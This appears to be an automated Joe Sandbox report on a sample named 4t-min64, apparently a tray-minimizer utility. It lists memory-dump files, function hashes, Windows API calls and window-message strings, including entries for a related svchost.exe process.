Associated: 0000002B.00000002.21460069251.0000000000439000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460231796.000000000043A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460372647.000000000043B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460535214.000000000043C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460690747.000000000043D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460833449.0000000000441000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460962383.0000000000442000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21461085431.0000000000444000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21461219838.0000000000448000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_400000_4t-min64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c99690102359ca9deb4ce4e5327b83e192ab863b730171185b7de725a655e2d0
Instruction ID: bea82207d1152f222e5f46b3d02beca78ec71d6237fe2de5fa644a5807eed825
Opcode Fuzzy Hash: c99690102359ca9deb4ce4e5327b83e192ab863b730171185b7de725a655e2d0
Instruction Fuzzy Hash: C5D01274710A00DEE704EB61EC4255D3376A788B8CF10517DEB097B3A6CD38D402875C

Function 00426E60 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002B.00000002.21459745592.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000002B.00000002.21459570104.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21459930438.0000000000438000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460069251.0000000000439000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460231796.000000000043A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460372647.000000000043B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460535214.000000000043C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460690747.000000000043D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460833449.0000000000441000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460962383.0000000000442000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21461085431.0000000000444000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21461219838.0000000000448000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_400000_4t-min64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bcf0cd9e2290a9a1d4995b96243ee961d836b753225a6ebf919e0430473f4a1
Instruction ID: 05e3d3d2765a3399bddaea23a8e2da5aa7d94aff7c16303dfdae82f57d9a3e57
Opcode Fuzzy Hash: 9bcf0cd9e2290a9a1d4995b96243ee961d836b753225a6ebf919e0430473f4a1
Instruction Fuzzy Hash: 8FD05E77A04A8082CB209B21F4013196730F392760F514616EB6C433E1CF3DC8048B04

Function 1000B4D0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002B.00000002.21462295127.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 0000002B.00000002.21462183036.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000002B.00000002.21462411468.0000000010017000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000002B.00000002.21462514042.0000000010018000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000002B.00000002.21462603508.0000000010019000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000002B.00000002.21462702873.000000001001A000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000002B.00000002.21462811966.000000001001B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000002B.00000002.21462902539.0000000010020000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_10000000_4t-min64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db554c4ab1c414887f6243bf4741b67f4d681cdeab40c4a38a4d0d3501b7502d
Instruction ID: fac03a08fb2af8c0deb0806e26c9293bc45536a0f790beeb6423532716a630b7
Opcode Fuzzy Hash: db554c4ab1c414887f6243bf4741b67f4d681cdeab40c4a38a4d0d3501b7502d
Instruction Fuzzy Hash: 70C0122BF04A905CFB1197B09C020EC3B34A2457ACB180F91EE79667DACD60D1428600

Function 0040FE40 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002B.00000002.21459745592.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000002B.00000002.21459570104.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21459930438.0000000000438000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460069251.0000000000439000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460231796.000000000043A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460372647.000000000043B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460535214.000000000043C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460690747.000000000043D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460833449.0000000000441000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460962383.0000000000442000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21461085431.0000000000444000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21461219838.0000000000448000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_400000_4t-min64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6537073d9a810bc7c566d2e80b283d02c1a04388041a440e5fe75108de362089
Instruction ID: ece06436c493d128bff62a0423c31d7d4a410e226901c5886e84713e9f2dced2
Opcode Fuzzy Hash: 6537073d9a810bc7c566d2e80b283d02c1a04388041a440e5fe75108de362089
Instruction Fuzzy Hash: 7BB0128031004449F7043162842339230194350BCCF0400342F023EBC6D8ACF402099A

Non-executed Functions

Function 00418560 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002B.00000002.21459745592.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000002B.00000002.21459570104.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21459930438.0000000000438000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460069251.0000000000439000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460231796.000000000043A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460372647.000000000043B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460535214.000000000043C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460690747.000000000043D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460833449.0000000000441000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460962383.0000000000442000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21461085431.0000000000444000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21461219838.0000000000448000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_400000_4t-min64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36d442e789af35f941495c753dce09d43d72e6819ae0ce9e1025d38c1e30c813
Instruction ID: 20fc49a33de7915ecc932b42afac78d3a69a44e581860bf86bd2b9fe9fa398b2
Opcode Fuzzy Hash: 36d442e789af35f941495c753dce09d43d72e6819ae0ce9e1025d38c1e30c813
Instruction Fuzzy Hash: C9019076F20A209EEB00CFA5D8815EC3BB5F359768B18551ADF4963B09CB38D1918B68

Function 00436D30 Relevance: 8.8, Strings: 7, Instructions: 26COMMON

Download Yara Rule

Strings

4tTray_WM_FREEMEMORY_NAME, xrefs: 00436D7A
4tTray_WM_INIT_POS, xrefs: 00436D4E
4tTray_WM_POSCHANGED, xrefs: 00436D38
4tTray_ProcessDetached, xrefs: 00436DBC
4tTray_ProcessAttached, xrefs: 00436DA6
4tTray_WM_ROLLUP, xrefs: 00436D64
4tTray_WM_STAYONTOP, xrefs: 00436D90

Memory Dump Source

Source File: 0000002B.00000002.21459745592.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000002B.00000002.21459570104.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21459930438.0000000000438000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460069251.0000000000439000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460231796.000000000043A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460372647.000000000043B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460535214.000000000043C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460690747.000000000043D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460833449.0000000000441000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460962383.0000000000442000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21461085431.0000000000444000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21461219838.0000000000448000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_400000_4t-min64.jbxd

Similarity

API ID:
String ID: 4tTray_ProcessAttached$4tTray_ProcessDetached$4tTray_WM_FREEMEMORY_NAME$4tTray_WM_INIT_POS$4tTray_WM_POSCHANGED$4tTray_WM_ROLLUP$4tTray_WM_STAYONTOP
API String ID: 0-747308701
Opcode ID: 96e3789ad310885626055d29577495a9df07d2a29b1b7f95861b0461231cc8dd
Instruction ID: 17b892c3eec99b257d6d93b3b5a929025aeac2de0206e0271a215b48178b7748
Opcode Fuzzy Hash: 96e3789ad310885626055d29577495a9df07d2a29b1b7f95861b0461231cc8dd
Instruction Fuzzy Hash: FCF0F8E4A0029069D744FF7E985271526D2D7C6FCDF11003EAE469B3BBEE3861005B5E

Function 10014080 Relevance: 8.8, Strings: 7, Instructions: 26COMMON

Download Yara Rule

Strings

4tTray_WM_STAYONTOP, xrefs: 100140E0
4tTray_WM_POSCHANGED, xrefs: 10014088
4tTray_WM_INIT_POS, xrefs: 1001409E
4tTray_ProcessAttached, xrefs: 100140F6
4tTray_ProcessDetached, xrefs: 1001410C
4tTray_WM_ROLLUP, xrefs: 100140B4
4tTray_WM_FREEMEMORY_NAME, xrefs: 100140CA

Memory Dump Source

Source File: 0000002B.00000002.21462295127.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 0000002B.00000002.21462183036.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000002B.00000002.21462411468.0000000010017000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000002B.00000002.21462514042.0000000010018000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000002B.00000002.21462603508.0000000010019000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000002B.00000002.21462702873.000000001001A000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000002B.00000002.21462811966.000000001001B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000002B.00000002.21462902539.0000000010020000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_10000000_4t-min64.jbxd

Similarity

API ID:
String ID: 4tTray_ProcessAttached$4tTray_ProcessDetached$4tTray_WM_FREEMEMORY_NAME$4tTray_WM_INIT_POS$4tTray_WM_POSCHANGED$4tTray_WM_ROLLUP$4tTray_WM_STAYONTOP
API String ID: 0-747308701
Opcode ID: 888b09190665d7b325f6165f59068ff50660990b4890c756fdafb3c0929ced85
Instruction ID: 4ea0fd74f3ecf19604ee4c34eb9aebb8153ca0ad136211d7458c0ca4e6443df7
Opcode Fuzzy Hash: 888b09190665d7b325f6165f59068ff50660990b4890c756fdafb3c0929ced85
Instruction Fuzzy Hash: D1F0F878A10250ADFB82EF6684523D935D0E7AC7C4F504439E586CB3B9DA74E4C14B52

Function 00415470 Relevance: 7.9, Strings: 6, Instructions: 434COMMON

Download Yara Rule

Strings

(C, xrefs: 0041573E
HC, xrefs: 0041579D
hC, xrefs: 004157F0
hC, xrefs: 004157C0
HC, xrefs: 004157E0
hC, xrefs: 0041578A

Memory Dump Source

Source File: 0000002B.00000002.21459745592.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000002B.00000002.21459570104.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21459930438.0000000000438000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460069251.0000000000439000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460231796.000000000043A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460372647.000000000043B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460535214.000000000043C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460690747.000000000043D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460833449.0000000000441000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460962383.0000000000442000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21461085431.0000000000444000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21461219838.0000000000448000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_400000_4t-min64.jbxd

Similarity

API ID:
String ID: (C$HC$HC$hC$hC$hC
API String ID: 0-3076571172
Opcode ID: c42ecef10c86d41d04b4887b9898e82e0241f81536eb7ade0233eeea5a09e476
Instruction ID: 001708c26cf8127f2e59d6b1685c90da574dacee9bf51cf5bcec7886fa8d3e4b
Opcode Fuzzy Hash: c42ecef10c86d41d04b4887b9898e82e0241f81536eb7ade0233eeea5a09e476
Instruction Fuzzy Hash: 69F1B6B0716F44C4EB045B6AA8443EE36A2F3C9794F245927DE0A9B794DA2CC8C0D3DD

Function 0042EEA0 Relevance: 6.7, Strings: 5, Instructions: 427COMMON

Download Yara Rule

Strings

`C, xrefs: 0042F19B
pB, xrefs: 0042F0DC, 0042F080, 0042F120, 0042F1D1, 0042F1F0, 0042F23E, 0042F33F, 0042F2CF, 0042F28D, 0042F3AA, 0042F37C, 0042F3EA, 0042F4EC, 0042F448, 0042F47B, 0042F143, 0042F0FE, 0042F536
`C, xrefs: 0042EF36
`C, xrefs: 0042F096
`C, xrefs: 0042F576

Memory Dump Source

Source File: 0000002B.00000002.21459745592.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000002B.00000002.21459570104.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21459930438.0000000000438000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460069251.0000000000439000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460231796.000000000043A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460372647.000000000043B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460535214.000000000043C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460690747.000000000043D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460833449.0000000000441000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21460962383.0000000000442000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21461085431.0000000000444000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000002B.00000002.21461219838.0000000000448000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_400000_4t-min64.jbxd

Similarity

API ID:
String ID: `C$`C$`C$`C$pB
API String ID: 0-1295409263
Opcode ID: 02bad106980077c943e3b30c4cfeaa0c6d7e8f0ab3018f3a3cee3bc0ca3e092e
Instruction ID: 358ca444277d885a8e6d217304cf4b0f96eef9f63606b99305ab30c1fdbc5f6d
Opcode Fuzzy Hash: 02bad106980077c943e3b30c4cfeaa0c6d7e8f0ab3018f3a3cee3bc0ca3e092e
Instruction Fuzzy Hash: CB022676B10A2488EB10DBA6E8913ED2771F788B88F844477DF4D67B59CF38C5858398

Analysis Process: svchost.exePID: 3588, Parent PID: 7000COMMON

Executed Functions

Function 03E345D8 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 186
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 03E345F3
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 03E34611
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 03E3462F
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 03E3464D
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000005,00000000,03E346DC,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 03E34696
RegQueryValueExA.ADVAPI32(?,03E34858,00000000,00000000,00000000,00000005,?,?,00000000,00000000,00000000,00000005,00000000,03E346DC,?,80000001), ref: 03E346B4
RegCloseKey.ADVAPI32(?,03E346E3,00000000,00000000,00000005,00000000,03E346DC,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 03E346D6
lstrcpyn.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 03E346F3
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 03E34700
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 03E34706
lstrlen.KERNEL32(00000000), ref: 03E34731
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 03E34786
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 03E34796
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 03E347C2
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 03E347D2
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 03E347FC
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 03E3480C

Strings

Software\Borland\Delphi\Locales, xrefs: 03E34643
Software\Borland\Locales, xrefs: 03E34607, 03E34625

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-2375825460
Opcode ID: 0d4a8a7088d4b22792defebff3a3db9843fcba8d9a6a4c73311eb70cbc31bcbf
Instruction ID: 027d7748506c5a87c4e243fd0419d3990cb98108b6fbf369a26e7d6e62afc838
Opcode Fuzzy Hash: 0d4a8a7088d4b22792defebff3a3db9843fcba8d9a6a4c73311eb70cbc31bcbf
Instruction Fuzzy Hash: FB617175E4034D7EEB20EAE5CC49FEFB7BCDB0A704F4452A5A604E6181DAB49A44CF60

Function 03E3B054 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 125
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000,0000004A,00000001,0000C209,00000001,0000C208,00000001,0000C20A,00000001,0000C207,00000001,00000000,03E3B1E5), ref: 03E3B11A

Part of subcall function 03E38C9C: IsBadReadPtr.KERNEL32(?,00000040), ref: 03E38CB0
Part of subcall function 03E38C9C: IsBadReadPtr.KERNEL32(03E3B1E5,00000004), ref: 03E38CDE

GetCurrentProcess.KERNEL32(00000000,0000004A,00000001,0000C209,00000001,0000C208,00000001,0000C20A,00000001,0000C207,00000001,00000000,03E3B1E5), ref: 03E3B159
GetCurrentProcessId.KERNEL32(00000000,00000000,0000004A,00000001,0000C209,00000001,0000C208,00000001,0000C20A,00000001,0000C207,00000001,00000000,03E3B1E5), ref: 03E3B16E
PostMessageA.USER32(?,0000C20B,00000000,00000000), ref: 03E3B187
GetCurrentProcessId.KERNEL32(00000000,00000000,03E3B1E5), ref: 03E3B1A7
PostMessageA.USER32(?,0000C20C,00000000,00000000), ref: 03E3B1C0

Part of subcall function 03E38214: GetModuleFileNameA.KERNEL32(00000000,?,00000105,?,?,03E3B08F,00000000,03E3B1E5), ref: 03E3822B

Part of subcall function 03E39B94: OpenFileMappingA.KERNEL32(00000006,00000000,00000000), ref: 03E39BAF
Part of subcall function 03E39B94: OpenFileMappingA.KERNEL32(00000004,00000000,00000000), ref: 03E39BCC
Part of subcall function 03E39B94: GetLastError.KERNEL32(?,?,03E3B0B4,00000000,03E3B1E5), ref: 03E39BDF

Strings

iexplore.exe, xrefs: 03E3B09D

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: CurrentFileProcess$MappingMessageModuleOpenPostRead$ErrorHandleLastName
String ID: iexplore.exe
API String ID: 3641758393-3286091477
Opcode ID: 52e32979198605c7c946ea97b6920a70de89d200ee60c6a32a10fd332e1806a7
Instruction ID: 90adf319c057bca9e01d0155c6122fdb93f864de824287b644fd7449e8fe0965
Opcode Fuzzy Hash: 52e32979198605c7c946ea97b6920a70de89d200ee60c6a32a10fd332e1806a7
Instruction Fuzzy Hash: 88413B346043199FD701EBA9C88DFA9B7F5AF4A304F506690E402EF395D775E944CB21

Function 03E39B94 Relevance: 9.1, APIs: 6, Instructions: 52
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenFileMappingA.KERNEL32(00000006,00000000,00000000), ref: 03E39BAF
OpenFileMappingA.KERNEL32(00000004,00000000,00000000), ref: 03E39BCC
GetLastError.KERNEL32(?,?,03E3B0B4,00000000,03E3B1E5), ref: 03E39BDF
MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000074,?,?,03E3B0B4,00000000,03E3B1E5), ref: 03E39BF9
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000074,00000000,00000006,00000000,00000000,00000074,?,?,03E3B0B4,00000000,03E3B1E5), ref: 03E39C1A
GetLastError.KERNEL32(00000000,00000006,00000000,00000000,00000074,?,?,03E3B0B4,00000000,03E3B1E5), ref: 03E39C2D

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: File$ErrorLastMappingOpenView
String ID:
API String ID: 3772272286-0
Opcode ID: 955202bbdf9164031bfcbaa687810c085dfa0075709cc7b9fe6902ae6864e669
Instruction ID: 9d5a6f2857757f7b8aeb8be148303497c667ebca04b670841a5710fa7b36e006
Opcode Fuzzy Hash: 955202bbdf9164031bfcbaa687810c085dfa0075709cc7b9fe6902ae6864e669
Instruction Fuzzy Hash: 55110374985368EAE710FB76AD4DB96B7E8E706714F182794E2825F2D5C7B43080CB14

Function 03E319E4 Relevance: 6.1, APIs: 4, Instructions: 54
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlInitializeCriticalSection.KERNEL32(03E3D5C4,00000000,03E31AAC,?,?,?,03E3240A), ref: 03E319FB
RtlEnterCriticalSection.KERNEL32(03E3D5C4,03E3D5C4,00000000,03E31AAC,?,?,?,03E3240A), ref: 03E31A0E
LocalAlloc.KERNEL32(00000000,00000FF8,03E3D5C4,00000000,03E31AAC,?,?,?,03E3240A), ref: 03E31A38
RtlLeaveCriticalSection.KERNEL32(03E3D5C4,03E31AB3,00000000,03E31AAC,?,?,?,03E3240A), ref: 03E31AA6

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID:
API String ID: 730355536-0
Opcode ID: 2a3538e0cdc6eb963358a54c81ca74006d2c8fb7d45df609565b63a1a36945c3
Instruction ID: b54c4fee93dce392a8a5e38fa1fec6ba3a19def9542bdaf68c07070a1b5fe2a0
Opcode Fuzzy Hash: 2a3538e0cdc6eb963358a54c81ca74006d2c8fb7d45df609565b63a1a36945c3
Instruction Fuzzy Hash: 611190B8A48218EFDB15FF66C80DB5ABBE0EB47705F00A36CE0148B280C6B45901DB54

Function 03E39DC8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03E39C74: LoadLibraryA.KERNEL32(kernel32.dll,?), ref: 03E39CA7
Part of subcall function 03E39C74: GetProcAddress.KERNEL32(76680000,GetProcAddress), ref: 03E39CBC
Part of subcall function 03E39C74: LoadLibraryA.KERNEL32(user32.dll,?), ref: 03E39CD4
Part of subcall function 03E39C74: GetProcAddress.KERNEL32(767A0000,00000000), ref: 03E39CF6

PostMessageA.USER32(?,?,?,?), ref: 03E39DFF

Part of subcall function 03E39E3C: GetCurrentProcessId.KERNEL32(03E39DA2,?,?,03E39DA2), ref: 03E39E63
Part of subcall function 03E39E3C: PostMessageA.USER32(?,?,00000000,03E39DA2), ref: 03E39E7B

Strings

PostMessageA, xrefs: 03E39DE1

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

